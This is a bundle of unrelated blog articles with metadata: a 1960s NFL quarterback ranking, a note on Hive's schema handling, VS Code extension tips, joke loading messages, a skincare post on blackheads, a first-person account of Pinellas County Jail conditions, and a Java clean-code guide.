One of the original gunslingers nicknamed the “mad bomber” and for good reason, Lamonica could sling it and threw for a lot of yards. Lamonica had three 3,000 yard passing seasons.
All regular season. No post season success for the prolific signal-caller.
8) Roman Gabriel: Los Angeles Rams-
Stats for the Decade: 51–24–4 QB Record, 51.5 Cmp.%, 15,406 Passing Yards, 109 TD, 75 INT, 76.1 Rate
Accolades/Awards for the Decade: 1x MVP, 3x Pro-Bowler, 1x All-Pro
The Breakdown:
One of the more prolific passers of the 60’s, Gabriel wasn’t much of a clutch Quarterback. In fact he never won a playoff game. However he was a winner in the regular season and a great regular season player.
One of the more forgotten Quarterbacks in NFL History.
7) Don Meredith: Dallas Cowboys-
Stats for the Decade: 47–32–4 QB Record, 50.7 Cmp.%, 17,199 Passing Yards, 135 TD, 111 INT, 74.8 Rate
Accolades/Awards for the Decade: 3x Pro-Bowler
The Breakdown:
One of the more forgotten and underrated Quarterback’s in the history of the NFL. Meredith was an accurate passer for his time. He could scramble, and make throws on the run. A fun player to watch play and someone who was reliable and durable.
Tarkenton was a pest for opposing defenses that had to game plan for his running and throwing.
6) Fran Tarkenton: Minnesota Vikings & New York Giants-
Stats for the Decade: 47–68–4 QB Record, 53.9% Cmp., 23,140 Passing Yards, 186 TD, 134 INT, 81.0 Rate, 2,672 Rushing Yards, 20 Rush TD
Accolades/Awards for the Decade: 5x Pro-Bowler
The Breakdown:
Legacy wise, you could make the argument that Tarkenton belongs higher on this list but, his best years came in the 70’s. Still, the numbers Tarkenton was able to put up in the 60’s was impressive. He didn’t win much but he made a reputation of being a great scrambling Quarterback that can hurt you with his legs and strong arm. Many forget his time with the New York Giants. He was a four time Pro-Bowler for them from 1967–1970 and threw for an incredible 92 touchdown passes for them in that span.
Great stats. Not a lot of winning though.
5) Sonny Jurgensen: Philadelphia Eagles & Washington Redskins-
Stats for the Decade: 49–60–7 QB Record, 56.4 % Cmp., 26,222 Passing Yards, 207 TD, 154 INT, 82.4 Rate
Accolades/Awards for the Decade: 5x Pro-Bowler 1x All-Pro
The Breakdown:
The numbers this guy put up throughout his career is ridiculous. He had a rocket arm and threw for a ton of yards. He didn’t play for a ton of winning teams but individually as a passer he led the NFL in passing yards five times during the decade.
The original “glorified Game Manager”.
4) Bart Starr: Green Bay Packers-
Stats for the Decade: 81–32–4 QB Record, 58.9% Cmp., 125 TD, 90 INT, 19,126 Passing Yards, 87.7 Rate
Accolades/Awards for the Decade: 5x NFL Champion, 2x Super-Bowl Champion, 2x Super-Bowl MVP, 1x MVP, 4x Pro-Bowler, 1x All-Pro
The Breakdown:
Starr is the Bob Griese of his era. An above average, Hall of Fame “Game Manager”. I mean that as a compliment. Starr was a master at calling the game from the line of scrimmage and was extremely accurate and clutch when his team needed him to be. He won 2 Super-Bowl MVP’s in 2 Appearances and he rode his playoff runs and clutch play into the Hall of Fame.
Mr. Swag
3) Len Dawson: Cleveland Browns & Kansas City Chiefs-
Stats for the Decade: 66–32–4 QB Record, 56.7% Cmp., 19,007 Passing Yards, 183 TD, 120 INT, 87.2 Rate
Accolades/Awards for the Decade: 1x Super-Bowl Champion, 1x Super-Bowl MVP, 6x Pro-Bowler, 2x All-Pro
The Breakdown:
Many want to anoint Patrick Mahomes the best Quarterback in Chiefs history but the truth is, that title belongs to Len Dawson. Dawson led the Chiefs to their first Super-Bowl win and was won of the most statistically prolific Quarterbacks of the decade. He had style too and was a “cool” QB with swag. In fact he had a propensity for smoking cigarettes while sitting on the sidelines during a game, he then would go back out on the field and throw touchdown passes. Now that’s BADASS!
What could’ve been had Namath not been injured?
2) Joe Namath: New York Jets-
Stats for the Decade: 37–23–4 QB Record, 50.2% Cmp., 15,487 Passing Yards, 97 TD, 104 INT, 70.1 Rate
Accolades/Awards for the Decade: 1x Super-Bowl Champion, 1x Super-Bowl MVP, 4x Pro-Bowler, 1x All-Pro
The Breakdown:
If Len Dawson was the Prince of swag during the 60’s Joe Namath was the King. Joe Namath was the “chosen one” during the 60’s and a box office draw for football. He was one of the most important and popular players of his era. On those things alone and the fact that he put money and fans in seats warrants his spot this high on the list. People really underrate Namath because of his inconsistent stats but the fact is he was much more important to the game than just the “box-score”. Namath’s biggest contribution came when he guaranteed the Jets win in Super-Bowl III. Namath lived up to his promise and delivered the New York Jets their first and only Super-Bowl win. Not only that but, Namath’s masterful game winning MVP performance in the Super-Bowl played a huge part in the NFL and AFL merging. It was thought the AFL was years away from being competitive with the NFL. Namath and the Jets pulled off the biggest upset in NFL History and proved the theory wrong. Namath has a case for being Number one on this list.
The “Peyton Manning” of his era.
1) Johnny Unitas: Baltimore Colts-
Stats for the Decade: 76–39–3 QB Record, 55.3% Cmp., 26,548 Passing Yards, 182 TD, 165 INT, 79.0 Rate
Accolades/Awards for the Decade: 2x MVP, 7x Pro-Bowler, 3x All-Pro
The Breakdown:
Although Unitas wasn’t able to win a Super-Bowl until the 1970 Season, he is best remembered for his work in the 60’s. Unitas was the Peyton Manning of his era. A master at the line of scrimmage and one of the best regular season Quarterbacks this league has ever seen. Had he not been injured during Super-Bowl 3 maybe history would be different and Joe Namath doesn’t live up to his “Guarantee”. As it stands he was the gold standard for statistical excellence and masterful play calling at the line of scrimmage.
Thanks for reading Guys and Gals. As always it’s a pleasure! Share this article with your family, and friends and follow the https://medium.com/genaosportbuzz Publication and stay up to date with more sports related articles to come. | https://medium.com/the-sports-scientist/top-10-nfl-quarterbacks-of-the-60s-3b0bd99169df | ['Jeffrey Genao'] | 2020-09-29 05:12:51.097000+00:00 | ['NFL', 'Sports', 'Blogger', 'The Sports Scientist', 'Top 10'] |
Limitation of Hive Data Validation | Hive Data Validation Mechanism Limitation
In hive when you create a table schema, you must specify each column name along with its data type. So simple like relational database which are widely used nowadays. You might think that afterward you can just import your data into a table’s hdfs location and use simple query as in the following:
SELECT * FROM [tablename].
But that’s not the case, in this scenario you won’t get an error message if your data isn’t in the same format as data type you’ve specified in a schema like those you saw in relational database. Instead, hive will convert a value that is not compatible with specified schema data type to NULL, which sometimes, undesirable.
Until now, there is no tool which designed to fix this issue. But there are some methods you could use as a workaround. | https://medium.com/analytics-vidhya/limitation-of-hive-data-validation-1eec015e5ca6 | ['Patraporn Kuhavattana'] | 2020-08-26 14:26:49.236000+00:00 | ['Mapreduce', 'Hive'] |
Best VS Code Extensions For Developers | Newbie To The World Of Programming
Confused how to Setup the Code Editor 😟. No Worries ! By the end of this article you would explore best VS-Code Extensions that would support for debugging, embedded source control, syntax highlighting, intelligent code completion, snippets, and code refactoring
Great tooling can help developers write faster, cleaner, and more consistent code.
✨Let’s Start ✨
How To Install A Visual Studio Code Extensions :-
Launch VS Code In your system
If you haven’t installed yet download it from here VS CODE
2 . In the left sidebar open the Extensions tab or hit Ctrl+Shift+x, Where you will see list of installed extensions and a search bar to find more and to install .
→ Prettier — Code Formatter
by Prettier ~ more than 9M installations
A opinionated code formatter which enforces a consistent style by parsing your code and re-printing it with its own rules that take the maximum line length into account, wrapping code when necessary
One can use this in two ways :-
Automatically Formatting On Save :- Open Settings from the left sidebar and check the ‘Format On Save’ checkbox. [OR] open the ‘Edit settings in json’ and edit the file as below
{
"folders": [],
"settings": {},
"editor.formatOnSave": true,
}
The above method applies formatting to many languages like typescript,javascript,HTML,Json.
However if we want for a particular language only you could edit the settings.json file as below
{
"folders": [],
"settings": {},
"[javascript]": {
"editor.formatOnSave": true
}
}
2. Format existing file or particular part of code :- To do this open the necessary file to be formatted or select the necessary code to be formatted
Open Command Palette (CMD/Ctrl + Shift +P ) and enter Format Document or Format selection as required and the necessary changes would be done.
→ Bracket Pair Colorizer
by CoenraadS more than 3M installations
When we have lots of code with brackets,parentheses and braces it becomes difficult for us to find out where each block starts and ends.
This extension allows the user to know which scope he is in by mark matching the brackets with same color.
→ Live Server
by Rithwick Dey more than 8M installations
This is an amazing extension for front-end developers 😻 as it provides a local live server for static as well as dynamic pages with a reload option .
Usually front-end developers make many changes to the design of the webpage and need to reload many times to look at the output .
We can overcome that by opening a .html file with a live server and any changes made in code are directly altered and the webpage automatically reloads itself .
How to open with a Live Server 😕
Open the html file and right click on the editor and click Open With Live Server Open the project file and in the status bar you would find Go Live click on it to start and open the server and to stop the server you would find an option as Stop Server at the same place.
→ GitLens — Git supercharged
by Eric Amodio more than 7M installations
Everyone know about version control using GitHub. Many of us would be working on group projects where other developers also commit changes in the developed code. VS Code provides us an awesome extension through which one could get the previous commit changes ,do comparison between branches, view remote branches !!
From above visualization, at some lines we are able to see some pale text which author has done changes from previous commits.
There’s more to explore see here.
→ Visual Studio IntelliCode
by Microsoft more than 8M installations
This is a very useful extension which is provided with AI-assisted features which assists Python,Java,Js/Ts languages
From above illustration we can see recommended completion items for the code.
→ Better Comments
by Aaron Bond more than 1M installations
Every developer needs to get habituated to write comments for his code so other developers could understand the code easily .
🎁 BONUS 🎁
For any language in VS Code,
Select the part of code to be commented and press Ctrl+K+C to comment the code
Select the part of the code to uncomment and press Ctrl+K+U
Many of the developers are accustomed to write comments but this way is going to make your comments look more structured and organized.
The above shown are the default type of Better Comments. The type of comments are identified by the first character in the comment.
todo , ! , ? , // , * which are in-built in Better Comments extension.
One can also modify and add new type of comments in the User Settings and add a snippet similar to shown below in the edit settings as json option:-
"better-comments.tags": [
{
"tag": "!!",
"color": "#FD2D00",
"strikethrough": false,
"underline": true,
"backgroundColor": "transparent",
"bold": true,
"italic": false
},
{
"tag": "#",
"color": "#FFFFFF",
"strikethrough": false,
"underline": false,
"backgroundColor": "transparent",
"bold": false,
"italic": true
}
]
→ Material Icon Theme
By Philipp Kief more than 5M installations
This extension provides great icons for different types of files as well folders. Based on the names of folders different types of icons are assigned to it and for files based on extension of the file the file icons are assigned.
One can even change the color of the folder / file in user settings or using command palette.
Get a detailed procedure for changing the folder and file custom colors here.
→ Material Theme
by Mattia Astorino more then 2M installations
Many developers work during night and the code visibility becomes low and some of them prefer light color theme , So VS Code provides a extension with which one could change the theme.
Some of the amazing themes provided in this extension are listed above in the picture. Material Theme is one of the most used for themes. We have many other themes which can be downloaded separately.
Material Theme Ocean
Some of the other themes which are trending in 2020 are :- | https://medium.com/@akshith292/best-vs-code-extensions-for-developers-5854ab18a49f | [] | 2020-11-18 05:41:53.746000+00:00 | ['Vscode Extension', 'Beginners Guide', 'Vscode', 'Web Development', 'Developer'] |
10 Funny App Loading Messages for App Developers | Is your website or app slow?
This is article is not about optimizing the load time of your app. Instead you can make your user’s wait entertaining, so that your user stays connected with the app for a long time.
So here are 10 funny app loading messages for app developers
Discovering new ways of making you wait. Your time is very important to us. Please wait while we ignore you. Still faster than Windows update. We are not liable for any broken screens as a result of waiting. Bored of slow loading spinner?, buy more RAM! Kindly hold on until I finish a cup of coffee. We will be back in 1/0 minutes. Why don’t you order a sandwich? Don’t panic, Just count to infinite. Please wait, Your PC is not a superman!
For more update, Follow me on twitter or instagram | https://medium.com/@kalpitrathore/10-funny-app-loading-messages-for-app-developers-e004ca6506fe | ['Kalpit Rathore'] | 2020-12-27 13:18:08.695000+00:00 | ['JavaScript', 'Python', 'React Native', 'Web Development', 'React'] |
How to deal with the big pores on the nose? How to deal with the daily methods that help everyone solve quickly? | How to deal with the big pores on the nose? How to deal with the daily methods that help everyone solve quickly? Howlifes Jun 10, 2019·2 min read
How should the blackheads on the nose have big blackheads?
For many girls, in daily life, it is very possible to encounter long blackheads on the nose, but I don’t know how to deal with them, so below we will provide you with some practical methods to help you solve them easily in your daily life. .
There are many girls, especially young white-collar workers who work long hours, in the workplace, and work pressure is relatively large, and the rhythm of life is also relatively fast. Everyone tastes that they don’t have much time to pay attention to their personal health, not to mention Said skin care issues.
However, we also know that in modern life, the value of the face is one of the very high measures. Many people will value the first impression and give the first impression. Although it is a bit superficial, it is true that a person’s personal image is indeed It is very useful for both work and life. And if you have a good image of the individual, there is no way to manage it well, the customer has no way to affirm you, and can do their things well, so this is also a reference scale.
Therefore, blackheads have become one of the problems that many girls find very troublesome. Many people will grow their heads, but everyone does not know how to deal with them, about blackheads. In fact, everyone knows the reason for the strawberry nose, mainly because there are many bacteria on the skin, but I did not solve it in time. He may have swelling and inflammation in the pores of our skin, which will lead to The production of various blackheads.
In order to solve such problems, we should find some practical methods, then let us provide some of them, compare them in daily life, and compare them with effective methods.
All articles on this site are shared by users. If you want to see more, please go to howlifes | https://medium.com/@howlifess/how-to-deal-with-the-big-pores-on-the-nose-4a90bb58112c | [] | 2019-06-10 08:40:48.082000+00:00 | ['Big', 'Daily', 'Deal'] |
County Jail — What a Nightmare. Written by Lawrence Hartman, the author… | Lawrence Hartman is the author of GUILTY TILL PROVEN INNOCENT: A Shocking Inside View Into America’s Failing Justice System (now available online at Amazon)
Pinellas County Jail, Florida
The front entrance looks like a hospital or hotel where cars drive up and drop people off, except the hospitality is considerably worse when you enter. Once inside, you’re escorted to one of several computer terminals attached to a rectangular counter and staffed by an officer, similar to a check-out counter in a supermarket but in reverse, as they relieve you of all your belongings. You’re then put in a small holding area to wait.
You’re eventually retrieved and put through a metal detector, to ensure you’ve given them everything. Here, though, it’s some ridiculously expensive 3D magnetronic contraption that must have cost taxpayers millions. Afterwards, you’re issued a standard orange jump suit, one pair of underwear, socks, a t-shirt, shower slides for shoes and, if you’re lucky, a pair of gym shorts tor use in the mini-rec yard attached to your Pod (unit). Officers then take you, one-by-one into a private room to strip naked and display every orifice before changing into a new uniform. Whatever clothes you arrived in are then either stored, shipped to a location of your choice or thrown away.[1] The final phase, involves escort to a stadium-sized seating area big enough for a few hundred to be finger-printed and DNA swabbed (now for my 4th time in just over two weeks), tested for HIV and Hepatitis C, have a picture taken and be issued your jail ID (which has a completely different number than your Federal Register number).
You then wait again, probably for hours, until your name is called to be given a small bar of soap, tiny tube of toothpaste, child-sized toothbrush, and a bed roll consisting of two thread-worn sheets, a pillow case and a tattered blanket. It’s now time to be escorted to your Pod, which is done in a group with others, as the officer takes you on a tour, dropping inmates off here and there as she or he goes. You enter the elevator face forward and do not turn around until instructed to do so. Pinellas had an entire floor dedicated to federal inmates, which consisted of four separate Pods. I, however, was initially housed on a separate floor in a Pod with just a smattering of federal inmates because the Fed floor was overcrowded. Plus, the Feds has issued a “keep separate” order between my codefendants and I, not wanting us to accidently bump into each other. “Keep separates” are generally utilized if there are security issues, like if one inmate snitches on another. In this instance, however, my codefendants had already gone to trial by the time I was captured (which is a long story for another time), so it was just out of an abundance of caution. Anyway, I must admit, it was emotionally rough watching addicts, low level offenders and temporary parole violators rotate in and out while I was still in dread fear of a LIFE sentence.
As for security, I found myself doing time alongside drug kingpins and notorious motorcycle gang members, but most of the violent offenders were housed in a separate section of the jail. One final note on this point is that getting in trouble, something that would be equivalent to a “shot” at a Federal facility does not count at all to your Federal security level. God willing, it will never be an issue for you. Regardless, something to know.
The general population Pods at Pinellas were all open bay, meaning that you do not get locked into a cell with a door closing behind you. Each separate cell had four to six bunks with a small area to stow personal belongings under the bed. However, there were no lockers which, of course, occasionally led to thievery, given the cast of characters. The opening of each cell was about 8 feet wide and 10 feet high, going back a good 15 feet deep. The front, while wide-open, was like an imaginary force field impermissible to cross during count times and lockdown for the night at around 11pm. The sole exception was that we could use the bathroom in the middle of the night since the Pod is set up with community style rest rooms.
The entrance to the pod has a desk and computer staffed by an officer, out in the open (unlike at FDC where the officer has a private office). The pod is a rectangle with a two-story high ceiling leading from the entrance to the cells across the way. On the long side to one end is a mostly enclosed outdoor rec area, like that in the FDC but smaller, with a basketball hoop and nothing else. Next to rec, but inside, is a TV viewing area with one TV and 20 or so seats. It’s tough to hear the sound over the hooting and hollering of others and forget about changing the channel. If you’re in a Pod with a large Spanish speaking population, then there’s also a second TV dedicated to Spanish channels in the middle of the Pod. There are various games such as monopoly, dominos and backgammon, typically missing pieces, so you’ll need to improvise. Cards can also be bought from Commissary, with Pinochle and Spades, crowd favorites for killing time. At this point, it’s all about preparing for either trial or a plea and otherwise just killing time.
On the opposite side of the rec yard is a kitchen area with one microwave, one dedicated hot water dispenser, a washer and dryer (solely to be used by the orderlies to do laundry), plus a shower and bathroom. Yes, you read that correctly, the bathrooms are right next to the kitchen area, but it’s even worse than that. The community toilets are porcelain but without any toilet seat, and on the ground floor there are four of them separated solely by cinderblock half-walls, leaving you taking care of business within full eyeshot of everyone. There are 8 shower stalls in all with unsatisfying push-button sprays. You’ll find people using them as pull up bars when the guards aren’t looking. Four additional toilets are located on the second floor, right next to a “multi-purpose” room which is always locked and never actually used, and a second room dedicated to tele-visits (discussed shortly).
When you first enter a Pod, you’re handed off to the Pod officer and assigned a bunk. At that bunk there may or may not be a mattress and, if there is, then it will easily be the worst one in the entire Pod because inmates always use each departure as a time to trade up. The same applies to pillows but they’re even more scarce. The officer on duty will help you find a mattress, but as for a pillow (and those gym shorts you may not have received), that’ll probably take a few days. Even the best of mattresses are only a few inches thick, but it can make a big difference both physically and psychologically. After a few days, when you figure out the lay of the land, you’ll get a chance to purchase an “upgrade” from someone, if you like, in exchange for commissary or phone calls. There are many desperate people in county jail with no means to support themselves, constantly on the lookout for a hustle to make some money here and there. Nonetheless, you’ll find many fellow inmates who are genuinely helpful and others who might be trying to jump on your case, so keep your street smarts and Spidey senses at full alert.
Breakfast is served at 4 am, lunch at 10 am and dinner at 2 pm. Get used to it. The food is literally gooey slop and drinks are colored sugary water that is rumored to contain saltpeter to keep our libidos in check. The kosher meals for Muslims and Jews are of considerably better quality but in small portions. Unlike the BOP in which you get to be whatever religion you like; county jail is extremely strict because kosher meals cost more. You’ll be put through the ringer to confirm you’re Jewish or Muslim before being approved. Each week, one cell is in charge of cleaning tables after each meal. Everyone must participate. Even the drug kingpins who had minions making them coffee and preparing special meals from commissary items had to partake.
Commissary items can be purchased once a week and consist almost entirely of overpriced junk food. One of the healthiest items are chunk light tuna at $3.00 for one single four ounce pack and the Ramen noodle soups you can buy at Walmart for like $.15-.20, but which now amazingly cost $1.00 (giving new meaning to license to steal). Your commissary account has a purchasing limit (of $100 per week) and it will be deducted from your account at the jail. Funds can be deposited into your county jail account by having a friend or family member follow the instructions on the county jail’s website. Please be aware that no funds follow you from location to location as you travel from an Federal to county facility (and vice-a-versa). They’re completely separate. Some county jails, like the ones I was housed in, have an arrangement to transfer money between them by cutting a check and sending it along with the guards transporting you. It’s an inefficient system, that can leave you making last minute, collect phone calls to family members for supplemental funds until the check shows up and clears.
The funds in your commissary account may also be used to buy postage stamps, envelopes, pens and calling cards to communicate with your loved ones. There is no email system or typewriter available in county jail. Phone cards may be purchased in $20 increments and are sold once a week. Guard your card(s) carefully because people are prone to steal them. There are two phone banks with four phones each, but you can always count on at least a couple being out of service at any given time. Phone calls are charged in 20-minute increments whether you use the full 20 minutes or not. So, a 5-minute call cost just as much as a 20-minute one. Local calls were $3.00 at the time but local only consisted of the immediate county, not even an entire area code. Calls to my dad in South Florida cost $8.00 and a fellow inmate who had to call Boston paid $18.00 (and, we’re considered the criminals). Those calls were also notorious for dropping off mid-call. We inmates, however, were not permitted to request any refunds. That had to be done by our callees to some poorly operated phone center in India, that created a bizarre catch-22 scenario ensuring that no one I knew ever actually got credit. Mail gets sent out by giving your letter(s) to the evening Unit CO. Leave the envelope unsealed because they check everything going out.
The visit policy was liberal in terms of days and hours but consisted solely of video visits which was very unsatisfying on several levels. To begin with, your visitors need to show up at the jail, just to use the system, watching you on a monitor in some other building. My Dad drove five hours, once a month, to see me for a few consecutive days over some awful quality video stream. Moreover, visitors are supervised and admonished by bullying staff for the most minor of nonsense during the only 20 or 30 minutes allotted. My dad would stay at a hotel, show up and wait 30 additional minutes for me to be called. At that point, I would go to a second-floor room and pick up an antiquated phone for the visit. I didn’t have my kids visit because that would only have been pure torture. No contact, no real connection whatsoever.
Laundry gets done twice a week by Pod orderlies. These are fellow inmates who get paid a modest salary of about $60 per month to do chores around the Pod. All the pod’s clothes get thrown into the washer altogether. While you label your own to ensure you get yours back, it’s horribly disgusting, given many of your fellow inmates’ hygiene habits. It’s best, to discreetly throw a Pod orderly a few extra bucks (in either tuna or commissary) to do your laundry separately. This way it comes back both cleaner and folded. At the end of the day, though, that only does so much, considering those same washers and dryers are also used to clean the Pod’s mop heads.
Haircuts are supposed to be available once a week and inmates rush (run) from their cells to get put on a list right after afternoon count. Since it’s free and most people don’t tip in county (unlike the FDC), many people sign up for a haircut each and every week. The problem is, there are usually more inmates on the list than can be cut any given night. Occasionally, the officer will try to prioritize anyone who expects to go to court shortly. Another way up is to out tip others, so the barber sneaks you in while no one’s paying attention. There’s only one barber for the entire floor and the qualifications are pretty low for the job. The sole equipment, like at the FDC, is an electric razor. At times, when the razor is broken or a barber leaves and has not yet been replaced, haircuts are cancelled for the week. We once went over a month with no haircuts.
Be prepared to for complete frustration and desperation when it comes to medical care. If a pain or illness arises, you request a form from the Pod officer, fill it out and hand it back in. With any luck you’re seen by a nurse within 48 hours, or so, at a cost of $10.00. A doctor comes by once a week for more serious issues, but it can take weeks before you’re actually seen — there’s a long list of people in front of you. It’s while incarcerated that you first truly appreciate just how much we take general self-care for granted. In one instance, for example, I developed a wicked case of hemorrhoids from the sandpaper-like toilet paper and God-awful diet. I then waited almost a week to be seen by a doctor and get medication as the inflammation grew to the size of a cannonball. Dental care is non-existent. The sole option is to pull a bad tooth and take some aspirin. One of my co-defendants had practically his entire mouth emptied during his 4 years in county jail awaiting trial. Finally, you’ll be housed with people who have AIDS, contagious Hepatitis C and open staph and mursa infections, since those run rampant.[2] Keep your distance. Cleanliness in the Pod is superficial at best.
Prescription medicine is delivered twice a day by a nurse with a cart of pre-proportioned doses. Pills and creams are distributed for various ailments ranging from high-cholesterol, mental health issues, open wounds and, of course, hemorrhoids, which are a chronic problem. The nurse also checks the blood sugar levels of diabetics, some of whom passed out every so often as their levels popped and spiraled because required mid-meal snacks rarely arrived on schedule. Eligibility for medicine is determined based on the information you provided during intake so be mindful to include everything. However, just like at the FDC, do not expect any hard drugs like Valium, Xanax, or opioids, those are strictly forbidden.
Pinellas county jail was more liberal than the the Feds in giving out anxiety and stress relieving meds once you got approval. However, getting approval wasn’t so easy. What I discovered, though, is that a strategically placed call from your attorney to the US Marshalls can work wonders. My complaints about anxiety pending sentencing were routinely ignored for six months. One simple phone call changed all that, getting me seen by a Psychiatrist and set up to receive three different types of pills within one week. The challenge, however, was staying up for 11 pm count because pills are distributed between 8 pm and psych meds can make you sleepy. Some inmates cheek their pills to hold onto and take later (or sell to fellow inmates). Many jails are therefore crushing all pills, regardless of the fact that it undermined their efficacy.
Shakedowns are done regularly and average once a week, which is particularly ridiculous since there are so few places to hide things and almost nothing to hide. Less contraband gets into county jail because there are no interpersonal visits. During a shake down, a half dozen officers come rushing in with wild abandon, yelling and screaming for you to immediately return to your cells. You’ll find that most officers are harsh, to keep us inmates in check.[3] Some, however, actually treat us somewhat human. You’ll then be called cell-by-cell in only your t-shirt, shorts and shower slides to be patted down and sent to the outer rec area for a half hour to forty-five minutes. This is especially awful at night during the cold winter months. The officers then tear the Pod to shreds removing such important contraband as excess sheets, pillows, blankets, and prison given food or disposable plastic spoons that we may have taken from meals, for later use. Of course, Commissary doesn’t sell plastic spoons, making it impossible to prepare coffee or actually eat most of Commissary without that contraband spoon. (Alas, an issue for a later day.) In any event, on occasion they do come across some genuine contraband like cheeked medicine or drugs, but that’s extremely rare. The orderlies return to clean up the hurricane-like aftermath before we inmates are allowed to return to reorder their own individual bunks.
Visits from attorney and clergy are in person, in specially reserved mini rooms on the same floor as your Pod. There’s no limit on visits when preparing for trial but it can get absurdly expensive. I hired a law firm, so, depending on how many lawyers came for any individual visit, travel time alone added anywhere from $1,000-$3,000 onto the bill. Many inmates, especially drug kingpins, use this time to have elegant meals snuck in to enjoy while discussing their case. While that’s technically prohibited, it’s not as if the guards are constantly keeping an eye on you. These same special inmates, coincidentally enough, also enjoy considerable alone time with some of the most (escort looking) attractive paralegals (read between the lines as you wish).
Pinellas provides regular weekly programs for various religious services and alcoholics anonymous, that you sign up for in advance and have limited capacity. Frankly, it’s a bit of relief just to get out of the tedium of the Pod, so I wholeheartedly suggest taking advantage of them.
There is a complaint system giving you the opportunity to formally express a grievance. This goes all the way up to the Sherriff who is ultimately in charge. In Pinellas, the forms eventually got to the intended recipients, but the process itself was filled with obstruction and indifference. It was exactly that kind of attitude that led me to discover the US Marshall solution descried above.
If you need to be in communication with authorities to cooperate while incarcerated, you’ll be called out of the Pod and escorted to the Special Investigative Unit (SIU). Word can quickly get back to fellow inmates when this happens, but the jail is usually smart enough to set up a convenient excuse, like going to see your attorney or a doctor. It still feels awkward regardless. The last thing you want is to be outed as a snitch. You’re then escorted through long catacombs of the old section of the prison where higher security inmates are kept in old fashioned cells with bars and few amenities. That’s when you truly get a sense of what prison could be.
Going to court is a genuine adventure. A list goes up the night before, so everyone is aware of who’s leaving the following morning. You’ll already have been told by your attorney, but just because she or he told you doesn’t make it so. Mistakes get made and people miss court dates, re-scheduled weeks or months later. Departure is after 4 am breakfast, when you’re escorted in group through the catacombs to the basement exit which is, interestingly enough, located right just past SIU. Once there, you’re deposited in old-fashioned, barred cells to wait until 8 am when it’s time to leave. Any given morning, drama may ensue because both defendants and witnesses against are often going to court for trial at the same time. In those instances, the defendants are diverted to side cells with no windows, so they don’t see who else is being transported. But again, mistakes happen.
Transportation is via dog-catcher vans. Defendants in one and witnesses or those going to court for other reasons (i.e. to get sentenced) in another. You enter the back, shackled at the wrists and ankles, sliding back and forth as the van negotiates traffic on its way to court. Transport is handled by an outside contractor, which charges much lower rates than the unionized officers. Once at court, you’re handed off to US Marshalls who then put you in basement holding cells. You’re later retrieved and placed in a separate holding cell on the floor of the courtroom until it’s your turn to be seen.
I’ve heard that Pinellas has a new email system involving iPads, which can also be used to view certain pre-approved movies, at additional cost. The email system is their own internal one, like used by the Feds, but it lets you communicate directly with someone’s personal email. They seem to have only a few per Unit, which I imagine leads to some conflict. I would also guess the cost is outrageous. | https://medium.com/@justicefailing/county-jail-what-a-nightmare-1a2c36ae6067 | ['Failing Justice'] | 2020-10-09 06:01:26.583000+00:00 | ['Criminal Defense Attorney', 'Criminal Justice', 'Prison', 'Criminal Justice Reform', 'Prison Reform'] |
Writing Readable and Maintainable Code — Java | Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live — John Woods
Writing clean code is not easy. It must be readable and maintainable. Writing clean code is not a process that we can achieve very quickly. It’s a continuous process, practically a daily effort. So let’s start…
1. Proper Naming
Naming is on of the most important aspect of coding. But somehow most of developers underestimate the importance of proper naming in the code. Developers spend most of their time reading code instead of writing. Thinking what is the purpose of this class, what kind of data containing in this field and what this method really does.
Classes
Class name should be a noun. When you create a instance from a class it should be a thing that physically exists. It can also be abstract thing. Always try to make it as noun.
Class name should be specific. If not every time we have to go inside the class to see what’s inside. E.g. Suppose you have CommonUtils.java class containing random number generating method, String split method. Better to make both methods to two separate classes and name as StringUtils.java, NumberUtils.java.
Variables
Never a single letter.
Always specific.
Ideally 1–2 words.
Boolean should prefix with is, has, can, should ( isValid, isActive, hasLicense, canEvaluate, shouldAbort).
( isValid, isActive, hasLicense, canEvaluate, shouldAbort). Use camelCase.
Use ALL_CAPS with underscores for constants.
Methods
Functionality fully understandable from the name.
Should name like Verb (Do what?) + Noun (To what?). But better be specific. e.g : setCustomerName, calculatePrice, validateUserDetails
Do not use and, or, if in method names.
2. Implementing Methods
When implementing method we should carefully take a look on what not to return, method parameters, fail fast & return early, conditionals, apply Single responsibility principle (SRP) etc.
Method can return primitives, objects or null. Avoid returning null as much as possible. when we return null if caller doesn’t know about it will hit a NullPointerException. If caller does know about null have to add extra checks. This extra condition here adds cyclomatic complexity and every time the method calls caller has to add null checks.
Method should only do one thing. That’s how we apply SRP(Single Responsibility Principle) to methods
Avoid returning special codes (-1, 0, 1 and other) from a method. It will force client code to check for magic numbers.
Always try to have 0–3 arguments in a method. More than that will indicate your method needs refactoring. If method takes too many primitive types, pass a single object.
Put magic numbers as parameters only if a method accepts one argument and method name suggests what method does. e.g. nowPlusWeeks(int weeks), nowPlusDays(int days). If not it’s very difficult to identify what method does without looking inside. e.g. nowPlusTime(int months, int weeks, int days)
nowPlusTime() with magic numbers as parameters (Not good)
Understandable methods even with magic number parameters
Avoid flag (Boolean) arguments as method parameters. Flag arguments complicates the signature of the method, loudly proclaiming that method does more than one thing. If we have a method with sendNotification(content, isSms) we can split it to two methods as sendSms(content), sendEmail(content)
Method with flag argument
Flag argument method split into two methods
Fail fast and return early. Immediately report any failure and let the program fail. If you have arithmetic calculations inside a method, check at top of the method for certain conditions to avoid arithmetic exceptions and throw IllegalArgumentException. Therefore we can throw the exception early before it reach the logic.
Throw exception early
Multiple if statements lead to high cyclomatic complexity. It’s very difficult to keep all those conditions in head while reading the code. To avoid this we can check simple conditions first and return immediately. Now you can see conditions and the return statements are in the same line. If you have argument values that are valid but they are logically allow you to stop execution early, then evaluate these first and exit the function right away.
With multiple if blocks
Refactored with return early
DRY — Don’t Repeat Yourself. If you have repeating code in methods, put those into a single method.
Avoid complex conditionals. Just extract complex logical conditions to a separate method that sounds like Boolean question and return a Boolean value.
Complex if condition, difficult to under
Condition moved to a separate method with understandable name
Avoid nested ternary expression. Instead put those in separate if statements for readable code.
3. Exception Handling
Don’t catch the top level throwable because you might catch errors , such as out of memory error or internal error.
Try to avoid catching the general exception because you might catch runtime exceptions that shouldn’t be caught such as NullPointer. You should use multiple catch blocks to cater this issue. Then you can show specific exception messages as well. But after Java 7 we can handle this by one line and it’s easy. But the downside is we can’t show specific exception messages.
Catching general exception is not good
Better way to catch multiple exception
Easier and better way to catch multiple exception
Don’t handle NullPointerException. NullPointerException is a result of programing error. If we handle NullPointerException then we cover up our own programming errors.
Don’t put empty catch blocks.
Don’t put only logs in catch blocks.
In catch block we should log the error using any logger framework and throw the exception with a informative message.
Avoid methods that throw exceptions in finally block.
